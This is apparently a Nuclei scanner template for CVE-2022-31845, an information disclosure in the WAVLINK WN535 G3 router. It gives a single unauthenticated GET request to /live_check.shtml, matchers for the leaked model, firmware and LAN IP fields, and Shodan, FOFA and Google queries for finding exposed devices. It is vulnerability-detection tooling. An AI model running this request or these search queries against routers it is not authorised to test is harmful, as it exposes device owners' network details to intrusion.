id: CVE-2022-31845

info:
  name: WAVLINK WN535 G3 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as login credentials or network configuration.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31845
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31845
    cwe-id: CWE-668
    epss-score: 0.08364
    epss-percentile: 0.94399
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /live_check.shtml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Model='
          - 'FW_Version='
          - 'LanIP='
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c8848a3a0343a1e33955acf1f0e16280498001d70e1fb487b6158f2e20d3a08a022100ff42728fb2b0eee3b89d18932fc71d7c9fd8fb0800e6f644eb9ce7451bd2fe49:922c64590222798bb761d5b6d8e72950